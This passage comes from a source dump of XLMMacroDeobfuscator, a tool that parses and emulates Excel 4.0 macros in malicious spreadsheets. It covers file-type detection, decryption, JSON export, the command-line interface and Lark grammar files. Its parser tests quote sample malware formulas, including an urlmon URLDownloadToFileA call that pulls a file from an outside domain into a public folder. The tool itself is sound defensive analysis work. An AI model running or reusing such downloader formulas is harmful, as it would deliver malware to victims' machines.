open(grammar_file_path, 'r', encoding='utf_8').read()\n    xlm_parser = Lark(macro_grammar, parser='lalr')\n\n    print(\"\\n={12,13,14}\")\n    print(xlm_parser.parse(\"={12;13;14}\"))\n    print(\"\\n=171*GET.CELL(19,A81)\")\n    print(xlm_parser.parse(\"=171*GET.CELL(19,A81)\"))\n    print(\"\\n=FORMULA($ET$1796&$BE$1701&$DB$1527&$BU$714&$CT$1605)\")\n    print(xlm_parser.parse(\"=FORMULA($ET$1796&$BE$1701&$DB$1527&$BU$714&$CT$1605)\"))\n    print(\"\\n=RUN($DC$240)\")\n    print(xlm_parser.parse(\"=RUN($DC$240)\"))\n    print(\"\\n=CHAR($IE$1109-308)\")\n    print(xlm_parser.parse(\"=CHAR($IE$1109-308)\"))\n    print(\"\\n=CALL($C$649,$FN$698,$AM$821,0,$BB$54,$BK$36,0,0)\")\n    print(xlm_parser.parse(\"=CALL($C$649,$FN$698,$AM$821,0,$BB$54,$BK$36,0,0)\"))\n    print(\"\\n=HALT()\")\n    print(xlm_parser.parse(\"=HALT()\"))\n    print('\\n=WAIT(NOW()+\"00:00:03\")')\n    print(xlm_parser.parse('=WAIT(NOW()+\"00:00:03\")'))\n    print(\"\\n=IF(GET.WORKSPACE(19),,CLOSE(TRUE))\")\n    print(xlm_parser.parse(\"=IF(GET.WORKSPACE(19),,CLOSE(TRUE))\"))\n    print(r'\\n=OPEN(GET.WORKSPACE(48)&\"\\WZTEMPLT.XLA\")')\n    print(xlm_parser.parse(r'=OPEN(GET.WORKSPACE(48)&\"\\WZTEMPLT.XLA\")'))\n    print(\n        \"\"\"\\n=IF(R[-1]C<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCJJ\",0,\"https://ddfspwxrb.club/fb2g424g\",\"c:\\\\Users\\\\Public\\\\bwep5ef.html\",0,0),)\"\"\")\n    print(xlm_parser.parse(\n        \"\"\"=IF(R[-1]C<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCJJ\",0,\"https://ddfspwxrb.club/fb2g424g\",\"c:\\\\Users\\\\Public\\\\bwep5ef.html\",0,0),)\"\"\"))\n\n\n_thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__)))\n_parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..'))\nif _parent_dir not in sys.path:\n    sys.path.insert(0, _parent_dir)\n\n\ndef get_file_type(path):\n    file_type = None\n    with open(path, 'rb') as input_file:\n        start_marker = input_file.read(2)\n        if start_marker == b'\\xD0\\xCF':\n            file_type = 'xls'\n        elif start_marker == b'\\x50\\x4B':\n            file_type = 'xlsm/b'\n    if file_type == 'xlsm/b':\n        raw_bytes = open(path, 'rb').read()\n        if bytes('workbook.bin', 'ascii') in raw_bytes:\n            file_type = 'xlsb'\n        else:\n            file_type = 'xlsm'\n    return file_type\n\n\ndef show_cells(excel_doc, sorted_formulas=False):\n    macrosheets = excel_doc.get_macrosheets()\n\n    for macrosheet_name in macrosheets:\n        # yield 'SHEET: {}, {}'.format(macrosheets[macrosheet_name].name,\n        #                                macrosheets[macrosheet_name].type)\n\n        yield macrosheets[macrosheet_name].name, macrosheets[macrosheet_name].type\n\n        if sorted_formulas:\n            tmp_formulas = []\n            for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n                if info.formula is not None:\n                    tmp_formulas.append((info, 'EXTRACTED', info.formula, '', info.value))\n            tmp_formulas = sorted(tmp_formulas, key=lambda x:(x[0].column,\n                                                              int(x[0].row) if EvalResult.is_int(x[0].row) else x[0].row))\n            for formula in tmp_formulas:\n                yield formula\n        else:\n            for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n                if info.formula is not None:\n                    yield info, 'EXTRACTED', info.formula, '', info.value\n                    # yield 'CELL:{:10}, {:20}, {}'.format(formula_loc, info.formula, info.value)\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is None:\n                # yield 'CELL:{:10}, {:20}, {}'.format(formula_loc, str(info.formula), info.value)\n                yield info, 'EXTRACTED', str(info.formula), '', info.value,\n\n\ndef uprint(*objects, sep=' ', end='\\n', file=sys.stdout, silent_mode=False):\n    if silent_mode:\n        return\n\n    enc = file.encoding\n    if enc == 'UTF-8':\n        print(*objects, sep=sep, end=end, file=file)\n    else:\n        def f(obj): return str(obj).encode(enc, errors='backslashreplace').decode(enc)\n        print(*map(f, objects), sep=sep, end=end, file=file)\n\n\ndef get_formula_output(interpretation_result, format_str, with_index=True):\n    cell_addr = interpretation_result[0].get_local_address()\n    status = interpretation_result[1]\n    formula = interpretation_result[2]\n    indent = ''.join(['\\t'] * interpretation_result[3])\n    result = ''\n    if format_str is not None and type(format_str) is str:\n        result = format_str\n        result = result.replace('[[CELL-ADDR]]', '{:10}'.format(cell_addr))\n        result = result.replace('[[STATUS]]', '{:20}'.format(status.name))\n        if with_index:\n            formula = indent + formula\n        result = result.replace('[[INT-FORMULA]]', formula)\n\n    return result\n\n\ndef convert_to_json_str(file, defined_names, records, memory=None, files=None):\n    file_content = open(file, 'rb').read()\n    md5 = hashlib.md5(file_content).hexdigest()\n    sha256 = hashlib.sha256(file_content).hexdigest()\n\n    if defined_names:\n        for key, val in defined_names.items():\n            if isinstance(val, Tree):\n                defined_names[key] = XLMInterpreter.convert_ptree_to_str(val)\n            elif isinstance(val, Cell):\n                defined_names[key] = str(val)\n\n    res = {'file_path': file, 'md5_hash': md5, 'sha256_hash': sha256, 'analysis_timestamp': int(time.time()),\n           'format_version': 1, 'analyzed_by': 'XLMMacroDeobfuscator',\n           'link': 'https://github.com/DissectMalware/XLMMacroDeobfuscator', 'defined_names': defined_names,\n           'records': [], 'memory_records': [], 'files': []}\n\n    for index, i in enumerate(records):\n        if len(i) == 4:\n            res['records'].append({'index': index,\n                                   'sheet': i[0].sheet.name,\n                                   'cell_add': i[0].get_local_address(),\n                                   'status': str(i[1]),\n                                   'formula': i[2]})\n        elif len(i) == 5:\n            res['records'].append({'index': index,\n                                   'sheet': i[0].sheet.name,\n                                   'cell_add': i[0].get_local_address(),\n                                   'status': str(i[1]),\n                                   'formula': i[2],\n                                   'value': str(i[4])})\n    if memory:\n        for mem_rec in memory:\n            res['memory_records'].append({\n                'base': mem_rec['base'],\n                'size': mem_rec['size'],\n                'data_base64': bytearray(mem_rec['data']).hex()\n            })\n\n    if files:\n        for file in files:\n            if len(files[file]['file_content']) > 0:\n                bytes_str = files[file]['file_content'].encode('utf_8')\n                base64_str = base64.b64encode(bytes_str).decode()\n                res['files'].append({\n                    'path': file,\n                    'access': files[file]['file_access'],\n                    'content_base64': base64_str\n                })\n\n    return res\n\n\ndef try_decrypt(file, password=''):\n    is_encrypted = False\n    tmp_file_path = None\n\n    try:\n        msoffcrypto_obj = msoffcrypto.OfficeFile(open(file, \"rb\"))\n\n        if msoffcrypto_obj.is_encrypted():\n            is_encrypted = True\n\n            temp_file_args = {'prefix': 'decrypt-', 'suffix': os.path.splitext(file)[1], 'text': False}\n\n            tmp_file_handle = None\n            try:\n                msoffcrypto_obj.load_key(password=password)\n                tmp_file_handle, tmp_file_path = mkstemp(**temp_file_args)\n                with os.fdopen(tmp_file_handle, 'wb') as tmp_file:\n                    msoffcrypto_obj.decrypt(tmp_file)\n            except:\n                if tmp_file_handle:\n                    tmp_file_handle.close()\n                    os.remove(tmp_file_path)\n                    tmp_file_path = None\n    except Exception as exp:\n        uprint(str(exp), silent_mode=SILENT)\n\n    return tmp_file_path, is_encrypted\n\n\ndef get_logo():\n    return \"\"\"\n          _        _______\n|\\     /|( \\      (       )\n( \\   / )| (      | () () |\n \\ (_) / | |      | || || |\n  ) _ (  | |      | |(_)| |\n / ( ) \\ | |      | |   | |\n( /   \\ )| (____/\\| )   ( |\n|/     \\|(_______/|/     \\|\n   ______   _______  _______  ______   _______           _______  _______  _______ _________ _______  _______\n  (  __  \\ (  ____ \\(  ___  )(  ___ \\ (  ____ \\|\\     /|(  ____ \\(  ____ \\(  ___  )\\__   __/(  ___  )(  ____ )\n  | (  \\  )| (    \\/| (   ) || (   ) )| (    \\/| )   ( || (    \\/| (    \\/| (   ) |   ) (   | (   ) || (    )|\n  | |   ) || (__    | |   | || (__/ / | (__    | |   | || (_____ | |      | (___) |   | |   | |   | || (____)|\n  | |   | ||  __)   | |   | ||  __ (  |  __)   | |   | |(_____  )| |      |  ___  |   | |   | |   | ||     __)\n  | |   ) || (      | |   | || (  \\ \\ | (      | |   | |      ) || |      | (   ) |   | |   | |   | || (\\ (\n  | (__/  )| (____/\\| (___) || )___) )| )      | (___) |/\\____) || (____/\\| )   ( |   | |   | (___) || ) \\ \\__\n  (______/ (_______/(_______)|/ \\___/ |/       (_______)\\_______)(_______/|/     \\|   )_(   (_______)|/   \\__/\n\n    \"\"\"\n\n\ndef process_file(**kwargs):\n    \"\"\" Example of kwargs when using as library\n    {\n        'file': '/tmp/8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf',\n        'noninteractive': True,\n        'extract_only': False,\n        'with_ms_excel': False,\n        'start_with_shell': False,\n        'return_deobfuscated': True,\n        'day': 0,\n        'output_formula_format': 'CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]',\n        'start_point': '',\n        'timeout': 30\n    }\n    \"\"\"\n\n    global SILENT\n\n    if kwargs.get(\"silent\"):\n        SILENT = kwargs.get(\"silent\")\n\n    deobfuscated = list()\n    interpreted_lines = list()\n    file_path = os.path.abspath(kwargs.get('file'))\n    file_type = get_file_type(file_path)\n    password = kwargs.get('password', 'VelvetSweatshop')\n\n    uprint('File: {}\\n'.format(file_path), silent_mode=SILENT)\n\n    if file_type is None:\n        raise Exception('Input file type is not supported.')\n\n    decrypted_file_path = is_encrypted = None\n\n    decrypted_file_path, is_encrypted = try_decrypt(file_path, password)\n    if is_encrypted:\n        uprint('Encrypted {} file'.format(file_type), silent_mode=SILENT)\n        if decrypted_file_path is None:\n            raise Exception(\n                'Failed to decrypt {}\\nUse --password switch to provide the correct password'.format(file_path))\n        file_path = decrypted_file_path\n    else:\n        uprint('Unencrypted {} file\\n'.format(file_type), silent_mode=SILENT)\n\n    try:\n        start = time.time()\n        excel_doc = None\n\n        uprint('[Loading Cells]', silent_mode=SILENT)\n        if file_type == 'xls':\n            if kwargs.get(\"no_ms_excel\", False):\n                print('--with-ms-excel switch is now deprecated (by default, MS-Excel is not used)\\n'\n                      'If you want to use MS-Excel, use --with-ms-excel')\n\n            if not kwargs.get(\"with_ms_excel\", False):\n                excel_doc = XLSWrapper2(file_path) if not SILENT else XLSWrapper2(file_path, logfile=None)\n            else:\n                try:\n                    excel_doc = XLSWrapper(file_path)\n\n                except Exception as exp:\n                    print(\"Error: MS Excel is not installed, now xlrd2 library will be used insteads\\n\" +\n                          \"(Use --no-ms-excel switch if you do not have/want to use MS Excel)\")\n                    excel_doc = XLSWrapper2(file_path)\n        elif file_type == 'xlsm':\n            excel_doc = XLSMWrapper(file_path)\n        elif file_type == 'xlsb':\n            excel_doc = XLSBWrapper(file_path)\n        if excel_doc is None:\n            raise Exception('Input file type is not supported.')\n\n        auto_open_labels = excel_doc.get_defined_name('auto_open', full_match=False)\n        for label in auto_open_labels:\n            uprint('auto_open: {}->{}'.format(label[0], label[1]), silent_mode=SILENT)\n\n        auto_close_labels = excel_doc.get_defined_name('auto_close', full_match=False)\n        for label in auto_close_labels:\n            uprint('auto_close: {}->{}'.format(label[0], label[1]), silent_mode=SILENT)\n\n        if kwargs.get(\"defined_names\"):\n            uprint(\"[Defined Names]\", silent_mode=SILENT)\n            defined_names = excel_doc.get_defined_names()\n            for name in defined_names:\n                if not kwargs.get(\"return_deobfuscated\"):\n                    uprint(\"{} --> {}\".format(name, defined_names[name]), silent_mode=SILENT)\n\n        if kwargs.get(\"extract_only\"):\n            sorted = False\n            if kwargs.get(\"sort_formulas\"):\n                sorted = True\n            if kwargs.get(\"export_json\"):\n                records = []\n                for i in show_cells(excel_doc, sorted):\n                    if len(i) == 5:\n                        records.append(i)\n\n                uprint('[Dumping to Json]', silent_mode=SILENT)\n                res = convert_to_json_str(file_path, excel_doc.get_defined_names(), records)\n\n                try:\n                    output_file_path = kwargs.get(\"export_json\")\n                    with open(output_file_path, 'w', encoding='utf_8') as output_file:\n                        output_file.write(json.dumps(res, indent=4))\n                        uprint('Result is dumped into {}'.format(output_file_path), silent_mode=SILENT)\n                except Exception as exp:\n                    print('Error: unable to dump the result into the specified file\\n{}'.format(str(exp)))\n                uprint('[End of Dumping]', silent_mode=SILENT)\n\n                if not kwargs.get(\"return_deobfuscated\"):\n                    return res\n            else:\n                res = []\n                output_format = kwargs.get(\"extract_formula_format\", 'CELL:[[CELL-ADDR]], [[CELL-FORMULA]], [[CELL-VALUE]]')\n                for i in show_cells(excel_doc, sorted):\n                    rec_str = ''\n                    if len(i) == 2:\n                        rec_str = 'SHEET: {}, {}'.format(i[0], i[1])\n                    elif len(i) == 5:\n                        if output_format is not None:\n                            rec_str = output_format\n                            rec_str = rec_str.replace('[[CELL-ADDR]]', i[0].get_local_address())\n                            rec_str = rec_str.replace('[[CELL-FORMULA]]', i[2])\n                            rec_str = rec_str.replace('[[CELL-VALUE]]', str(i[4]))\n                        else:\n                            rec_str = 'CELL:{:10}, {:20}, {}'.format(i[0].get_local_address(), i[2], i[4])\n                    if rec_str:\n                        if not kwargs.get(\"return_deobfuscated\"):\n                            uprint(rec_str, silent_mode=SILENT)\n                        res.append(rec_str)\n\n\n                if kwargs.get(\"return_deobfuscated\"):\n                    return res\n\n        else:\n            uprint('[Starting Deobfuscation]', silent_mode=SILENT)\n            interpreter = XLMInterpreter(excel_doc, output_level=kwargs.get(\"output_level\", 0))\n            if kwargs.get(\"day\", 0) > 0:\n                interpreter.day_of_month = kwargs.get(\"day\")\n\n            interactive = not kwargs.get(\"noninteractive\")\n\n            if kwargs.get(\"start_with_shell\"):\n                starting_points = interpreter.xlm_wrapper.get_defined_name('auto_open', full_match=False)\n                if len(starting_points) == 0:\n                    if len(kwargs.get(\"start_point\")) > 0:\n                        starting_points = [('auto_open', kwargs.get(\"start_point\"))]\n                    elif interactive:\n                        print('There is no entry point, please specify a cell address to start')\n                        print('Example: Sheet1!A1')\n                        auto_open_labels = [('auto_open', input().strip())]\n                sheet_name, col, row = Cell.parse_cell_addr(starting_points[0][1])\n                macros = interpreter.xlm_wrapper.get_macrosheets()\n                if sheet_name in macros:\n                    current_cell = interpreter.get_formula_cell(macros[sheet_name], col, row)\n                    interpreter.interactive_shell(current_cell, \"\")\n\n            output_format = kwargs.get(\"output_formula_format\", 'CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]')\n            start_point = kwargs.get(\"start_point\", '')\n\n            timeout = 0\n            if kwargs.get(\"timeout\"):\n                timeout = kwargs.get(\"timeout\")\n\n            for step in interpreter.deobfuscate_macro(interactive, start_point, timeout=timeout, silent_mode=SILENT):\n                if kwargs.get(\"return_deobfuscated\"):\n                    deobfuscated.append(\n                        get_formula_output(step, output_format, not kwargs.get(\"no_indent\")))\n                elif kwargs.get(\"export_json\"):\n                    interpreted_lines.append(step)\n                else:\n                    uprint(get_formula_output(step, output_format, not kwargs.get(\"no_indent\")), silent_mode=SILENT)\n            if interpreter.day_of_month is not None:\n                uprint('[Day of Month] {}'.format(interpreter.day_of_month), silent_mode=SILENT)\n\n            if not kwargs.get(\"export_json\") and not kwargs.get(\"return_deobfuscated\"):\n                for mem_record in interpreter._memory:\n                    uprint('Memory: base {}, size {}\\n{}\\n'.format(mem_record['base'],\n                                                                   mem_record['size'],\n                                                                   bytearray(mem_record['data']).hex()),\n                           silent_mode=SILENT)\n                uprint('\\nFiles:\\n')\n                for file in interpreter._files:\n                    if len(interpreter._files[file]['file_content']) > 0:\n                        uprint('Files: path {}, access {}\\n{}\\n'.format(file,\n                                                                        interpreter._files[file]['file_access'],\n                                                                        interpreter._files[file]['file_content']),\n                               silent_mode=SILENT)\n\n            uprint('[END of Deobfuscation]', silent_mode=SILENT)\n\n            if kwargs.get(\"export_json\"):\n                uprint('[Dumping Json]', silent_mode=SILENT)\n                res = convert_to_json_str(file_path, excel_doc.get_defined_names(), interpreted_lines,\n                                          interpreter._memory, interpreter._files)\n                try:\n                    output_file_path = kwargs.get(\"export_json\")\n                    with open(output_file_path, 'w', encoding='utf_8') as output_file:\n                        output_file.write(json.dumps(res, indent=4))\n                        uprint('Result is dumped into {}'.format(output_file_path), silent_mode=SILENT)\n                except Exception as exp:\n                    print('Error: unable to dump the result into the specified file\\n{}'.format(str(exp)))\n\n                uprint('[End of Dumping]', silent_mode=SILENT)\n                if kwargs.get(\"return_deobfuscated\"):\n                    return res\n\n        uprint('time elapsed: ' + str(time.time() - start), silent_mode=SILENT)\n    finally:\n        if HAS_XLSWrapper and type(excel_doc) is XLSWrapper:\n            excel_doc._excel.Application.DisplayAlerts = False\n            excel_doc._excel.Application.Quit()\n\n    if kwargs.get(\"return_deobfuscated\"):\n        return deobfuscated\n\n\ndef main():\n    print(get_logo())\n    print('XLMMacroDeobfuscator(v{}) - {}\\n'.format(__version__,\n                                                    \"https://github.com/DissectMalware/XLMMacroDeobfuscator\"))\n\n    config_parser = argparse.ArgumentParser(add_help=False)\n\n    config_parser.add_argument(\"-c\", \"--config-file\",\n                               help=\"Specify a config file (must be a valid JSON file)\", metavar=\"FILE_PATH\")\n    args, remaining_argv = config_parser.parse_known_args()\n\n    defaults = {}\n\n    if args.config_file:\n        try:\n            with open(args.config_file, 'r', encoding='utf_8') as config_file:\n                defaults = json.load(config_file)\n                defaults = {x.replace('-', '_'): y for x, y in defaults.items()}\n        except json.decoder.JSONDecodeError as json_exp:\n            uprint(\n                'Config file cannot be parsed (must be a valid json file, '\n                'validate your file with an online JSON validator)',\n                silent_mode=SILENT)\n\n    arg_parser = argparse.ArgumentParser(parents=[config_parser])\n\n    arg_parser.add_argument(\"-f\", \"--file\", type=str, action='store',\n                            help=\"The path of a XLSM file\", metavar=('FILE_PATH'))\n    arg_parser.add_argument(\"-n\", \"--noninteractive\", default=False, action='store_true',\n                            help=\"Disable interactive shell\")\n    arg_parser.add_argument(\"-x\", \"--extract-only\", default=False, action='store_true',\n                            help=\"Only extract cells without any emulation\")\n    arg_parser.add_argument(\"--sort-formulas\", default=False, action='store_true',\n                            help=\"Sort extracted formulas based on their cell address (requires -x)\")\n    arg_parser.add_argument(\"--defined-names\", default=False, action='store_true',\n                            help=\"Extract all defined names\")\n    arg_parser.add_argument(\"-2\", \"--no-ms-excel\", default=False, action='store_true',\n                            help=\"[Deprecated] Do not use MS Excel to process XLS files\")\n    arg_parser.add_argument(\"--with-ms-excel\", default=False, action='store_true',\n                            help=\"Use MS Excel to process XLS files\")\n    arg_parser.add_argument(\"-s\", \"--start-with-shell\", default=False, action='store_true',\n                            help=\"Open an XLM shell before interpreting the macros in the input\")\n    arg_parser.add_argument(\"-d\", \"--day\", type=int, default=-1, action='store',\n                            help=\"Specify the day of month\", )\n    arg_parser.add_argument(\"--output-formula-format\", type=str,\n                            default=\"CELL:[[CELL-ADDR]], [[STATUS]], [[INT-FORMULA]]\",\n                            action='store',\n                            help=\"Specify the format for output formulas \"\n                                 \"([[CELL-ADDR]], [[INT-FORMULA]], and [[STATUS]]\", )\n    arg_parser.add_argument(\"--extract-formula-format\", type=str,\n                            default=\"CELL:[[CELL-ADDR]], [[CELL-FORMULA]], [[CELL-VALUE]]\",\n                            action='store',\n                            help=\"Specify the format for extracted formulas \"\n                                 \"([[CELL-ADDR]], [[CELL-FORMULA]], and [[CELL-VALUE]]\", )\n    arg_parser.add_argument(\"--no-indent\", default=False, action='store_true',\n                            help=\"Do not show indent before formulas\")\n    arg_parser.add_argument(\"--silent\", default=False, action='store_true',\n                            help=\"Do not print output\")\n    arg_parser.add_argument(\"--export-json\", type=str, action='store',\n                            help=\"Export the output to JSON\", metavar=('FILE_PATH'))\n    arg_parser.add_argument(\"--start-point\", type=str, default=\"\", action='store',\n                            help=\"Start interpretation from a specific cell address\", metavar=('CELL_ADDR'))\n    arg_parser.add_argument(\"-p\", \"--password\", type=str, action='store', default='',\n                            help=\"Password to decrypt the protected document\")\n    arg_parser.add_argument(\"-o\", \"--output-level\", type=int, action='store', default=0,\n                            help=\"Set the level of details to be shown \"\n                                 \"(0:all commands, 1: commands no jump \"\n                                 \"2:important commands 3:strings in important commands).\")\n    arg_parser.add_argument(\"--timeout\", type=int, action='store', default=0, metavar=('N'),\n                            help=\"stop emulation after N seconds\"\n                                 \" (0: not interruption \"\n                                 \"N>0: stop emulation after N seconds)\")\n\n    arg_parser.set_defaults(**defaults)\n\n    args = arg_parser.parse_args(remaining_argv)\n\n    if not args.file:\n        print('Error: --file is missing\\n')\n        arg_parser.print_help()\n    elif not os.path.exists(args.file):\n        print('Error: input file does not exist')\n    else:\n        try:\n            # Convert args to kwarg dict\n            try:\n                process_file(**vars(args))\n            except Exception as exp:\n                exc_type, exc_obj, traceback = sys.exc_info()\n                frame = traceback.tb_frame\n                lineno = traceback.tb_lineno\n                filename = frame.f_code.co_filename\n                linecache.checkcache(filename)\n                line = linecache.getline(filename, lineno, frame.f_globals)\n                print('Error [{}:{} {}]: {}'.format(os.path.basename(filename),\n                                                    lineno,\n                                                    line.strip(),\n                                                    exc_obj))\n\n        except Exception:\n            pass\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "XLMMacroDeobfuscator/excel_wrapper.py",
    "content": "from enum import Enum\n\n\nclass ExcelWrapper:\n    def get_xl_international_char(self, flag_name):\n        pass\n\n    def get_defined_name(self, name, full_match):\n        pass\n\n    def get_defined_names(self):\n        pass\n\n    def get_macrosheets(self):\n        pass\n\n    def get_worksheets(self):\n        pass\n\n    def get_cell_info(self, sheet_name, col, row, info_type_id):\n        pass\n\n    def get_workbook_name(self):\n        pass\n\n\nclass XlApplicationInternational(Enum):\n    # https://docs.microsoft.com/en-us/office/vba/api/excel.xlapplicationinternational\n    xlLeftBracket = 10\n    xlListSeparator = 5\n    xlRightBracket = 11\n\nclass RowAttribute(Enum):\n    Height = 0\n    Spans = 1\n\n\n\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xlm-macro-en.lark",
    "content": "start:  \"=\" expression\nfunction_call:  [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA arglist R_PRA | function_call  L_PRA arglist R_PRA\narglist:    (argument LIST_SEPARATOR)* argument\nargument:   expression |\ncell:   a1_notation_cell | r1c1_notation_cell\na1_notation_cell:   [NAME \"!\" | \"'\" /[^']+/i \"'!\"| \"!\"] /\\$?([a-qs-z][a-z]?)\\$?\\d+\\b|\\$?(r[a-bd-z]?)\\$?\\d+\\b(?!C)/i\nr1c1_notation_cell: [NAME \"!\" | \"'\" /[^']+/i \"'!\" | \"!\"] ROW [REF | INT ] COL [REF | INT ]\ndefined_name: (NAME EXCLAMATION| \"'\" /[^']+/i \"'\" EXCLAMATION| EXCLAMATION) NAME\n?expression:   concat_expression CMPOP concat_expression | concat_expression\n?concat_expression: additive_expression (CONCATOP additive_expression)*\n?additive_expression:   multiplicative_expression (ADDITIVEOP multiplicative_expression)*\n?multiplicative_expression: final (MULTIOP final)*\n?final: L_PRA expression R_PRA | function_call | cell | range | atom | NAME  | defined_name | array\narray: \"{\" (constant ARRAY_SEPARATOR)* constant \"}\"\n?constant: STRING | NUMBER\n?range: cell COLON cell | cell COLON cell COLON cell\n?atom: NUMBER | STRING | BOOLEAN | ERROR\nADDITIVEOP: \"+\" | \"-\"\nMULTIOP:    \"*\" | \"/\"\nCMPOP:       \">=\" | \"<=\" | \"<\" [\">\"] | \">\" | \"=\"\nCONCATOP:   \"&\"\nCOLON:      \":\"\nSTRING:   /\\\"([^\\\"]|\\\"\\\")*\\\"/i\nBOOLEAN: \"TRUE\" | \"FALSE\"\nERROR: \"#REF!\" | \"#DIV/0!\"  |  \"#N/A\"  |  \"#NAME?\"  | \"#NULL!\" | \"#NUM!\"  | \"#VALUE!\" | \"#GETTING_DATA\"\nROW: \"R\" | \"r\"\nCOL: \"C\" | \"c\"\nL_PRA: \"(\"\nR_PRA: \")\"\nL_BRAC: \"[\"\nR_BRAC: \"]\"\nEXCLAMATION: \"!\"\nDOT: \".\"\nLIST_SEPARATOR: \",\"\nARRAY_SEPARATOR: \";\"\nREF: L_BRAC SIGNED_INT  R_BRAC\n%import common.SIGNED_INT -> SIGNED_INT\n%import common.INT -> INT\n%import common.DECIMAL -> DECIMAL\nSIGNED_DECIMAL: [\"+\"|\"-\"] DECIMAL\nNUMBER: SIGNED_DECIMAL | SIGNED_INT\nNAME: /[j-qsu-z](?!\\d{1,6}\\b)[_\\\\.?a-z0-9]+\\b|t(?!\\d{1,6}\\b|rue\\b)[_\\\\.?a-z0-9]+\\b|[_\\\\][_\\\\.?a-z0-9]*\\b|r(?!(\\[|(\\d{0,5}c\\d{0,3}\\b)|(\\d{1,6}\\b)))[_\\\\.?a-z0-9]*\\b(?!\\[)|c(?!(\\[|\\d{0,3}r\\d{0,5}\\b|[a-z]*\\d{1,6}\\b))[_\\\\.?a-z0-9]*\\b(?!\\[)|[a-bd-eg-h](?![a-z]\\d{1,5}\\b|\\d{1,5}\\b)[_.\\\\?a-z0-9]*\\b|f(?![a-z]\\d{1,5}\\b|\\d{1,5}\\b|alse\\b)[_.\\\\?a-z0-9]*\\b|i(?![a-v]\\d+\\b|\\d+\\b)[_.\\\\?a-z0-9]*\\b|[_\\\\a-bd-qs-z]\\b/i\n%ignore \" \"   // Disregard spaces in text\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xlm-macro.lark.template",
    "content": "start:  \"=\" expression\nfunction_call:  [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA arglist R_PRA | function_call  L_PRA arglist R_PRA\narglist:    (argument LIST_SEPARATOR)* argument\nargument:   expression |\ncell:   a1_notation_cell | r1c1_notation_cell\na1_notation_cell:   [NAME \"!\" | \"'\" /[^']+/i \"'!\"| \"!\"] /\\$?([a-qs-z][a-z]?)\\$?\\d+\\b|\\$?(r[a-bd-z]?)\\$?\\d+\\b(?!C)/i\nr1c1_notation_cell: [NAME \"!\" | \"'\" /[^']+/i \"'!\" | \"!\"] ROW [REF | INT ] COL [REF | INT ]\ndefined_name: (NAME EXCLAMATION| \"'\" /[^']+/i \"'\" EXCLAMATION| EXCLAMATION) NAME\n?expression:   concat_expression (CMPOP concat_expression)*\n?concat_expression: additive_expression (CONCATOP additive_expression)*\n?additive_expression:   multiplicative_expression (ADDITIVEOP multiplicative_expression)*\n?multiplicative_expression: final (MULTIOP final)*\n?final: L_PRA expression R_PRA  | function_call | cell | range | atom | NAME  | defined_name | array\narray: \"{\" (constant ARRAY_SEPARATOR)* constant \"}\"\n?constant: STRING | NUMBER\n?range: cell COLON cell | cell COLON cell COLON cell\n?atom: NUMBER | STRING | BOOLEAN | ERROR\nADDITIVEOP: \"+\" | \"-\"\nMULTIOP:    \"*\" | \"/\"\nCMPOP:       \">=\" | \"<=\" | \"<\" [\">\"] | \">\" | \"=\"\nCONCATOP:   \"&\"\nCOLON:      \":\"\nSTRING:   /\\\"([^\\\"]|\\\"\\\")*\\\"/i\nBOOLEAN: \"TRUE\" | \"FALSE\"\nERROR: \"#REF!\" | \"#DIV/0!\"  |  \"#N/A\"  |  \"#NAME?\"  | \"#NULL!\" | \"#NUM!\"  | \"#VALUE!\" | \"#GETTING_DATA\"\nROW: \"R\" | \"r\"\nCOL: \"C\" | \"c\"\nL_PRA: \"(\"\nR_PRA: \")\"\nL_BRAC: \"{{XLLEFTBRACKET}}\"\nR_BRAC: \"{{XLRIGHTBRACKET}}\"\nEXCLAMATION: \"!\"\nDOT: \".\"\nLIST_SEPARATOR: \"{{XLLISTSEPARATOR}}\"\nARRAY_SEPARATOR: \";\"\nREF: L_BRAC SIGNED_INT  R_BRAC\n%import common.SIGNED_INT -> SIGNED_INT\n%import common.INT -> INT\n%import common.SIGNED_FLOAT -> SIGNED_FLOAT\nNUMBER: SIGNED_FLOAT | SIGNED_INT\nNAME: /[j-qsu-z](?!\\d{1,6}\\b)[_\\\\.?a-z0-9]+\\b|t(?!\\d{1,6}\\b|rue\\b)[_\\\\.?a-z0-9]+\\b|[_\\\\][_\\\\.?a-z0-9]*\\b|r(?!(\\[|(\\d{0,5}c\\d{0,3}\\b)|(\\d{1,6}\\b)))[_\\\\.?a-z0-9]*\\b(?!\\[)|c(?!(\\[|\\d{0,3}r\\d{0,5}\\b|[a-z]?\\d{1,6}\\b))[_\\\\.?a-z0-9]*\\b(?!\\[)|[a-bd-eg-h](?![a-z]\\d{1,5}\\b|\\d{1,5}\\b)[_.\\\\?a-z0-9]*\\b|f(?![a-z]\\d{1,5}\\b|\\d{1,5}\\b|alse\\b)[_.\\\\?a-z0-9]*\\b|i(?![a-v]\\d+\\b|\\d+\\b)[_.\\\\?a-z0-9]*\\b|[_\\\\a-bd-qs-z]\\b/i\n%ignore \" \"   // Disregard spaces in text\n"
  },
  {
    "path": "XLMMacroDeobfuscator/xls_wrapper.py",
